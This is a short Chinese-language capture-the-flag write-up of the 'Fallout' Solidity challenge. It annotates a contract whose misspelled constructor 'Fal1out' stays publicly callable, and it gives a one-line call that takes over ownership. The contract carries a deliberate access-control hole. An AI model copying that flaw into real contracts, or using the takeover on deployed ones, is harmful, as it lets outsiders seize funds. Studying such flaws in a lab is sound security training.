拿到合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0; // 指明 Solidity 编译器版本范围为 0.6.x
import "openzeppelin-contracts-06/math/SafeMath.sol"; // 引入 OpenZeppelin 的 SafeMath 库(用于安全算术)
contract Fallout {
using SafeMath for uint256; // 将 SafeMath 的方法绑定到 uint256 类型上(a.add(b) 等)
mapping(address => uint256) allocations; // 存储每个地址的分配金额(以 wei 为单位)
address payable public owner; // 合约所有者地址(payable,可接收以太币)
/* constructor */
function Fal1out() public payable { // **注意**:在 Solidity ^0.6.0 中构造函数应使用 constructor 关键字。
// 这里函数名写为 Fal1out(包含数字1),因此 **这不是构造函数**,
// 而是一个公开的可支付函数,任何人都可以调用它。
owner = msg.sender; // 将调用者设为 owner(任何调用此函数的人都会成为 owner)
allocations[owner] = msg.value; // 将 msg.value(调用时发送的以太)记录到 allocations 映射中
}
modifier onlyOwner() { // 仅限 owner 调用的修饰符
require(msg.sender == owner, "caller is not the owner"); // 如果调用者不是 owner,则回退
_; // 执行被修饰函数的主体
}
function allocate() public payable { // 向合约分配(记录)资金的函数(任何人都可调用)
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
// 使用 SafeMath 的 add 方法,安全地把 msg.value 累加到 caller 的 allocations
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0); // 要求传入的 allocator 在映射中有正的分配金额
allocator.transfer(allocations[allocator]); // 将对应的分配金额转回给 allocator(send/transfer 会转出 2300 gas)
}
function collectAllocations() public onlyOwner { // 只有 owner 可以调用
msg.sender.transfer(address(this).balance); // 将合约所有余额转给 msg.sender(由于 onlyOwner,msg.sender 为 owner)
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator]; // 返回指定地址的 allocations 值(只读)
}
}
发现function Fal1out() public payable ,fal1out函数,显然用数字代替了l,因此我们可以直接利用它获取owner身份
攻击流程:
contract.Fal1out()
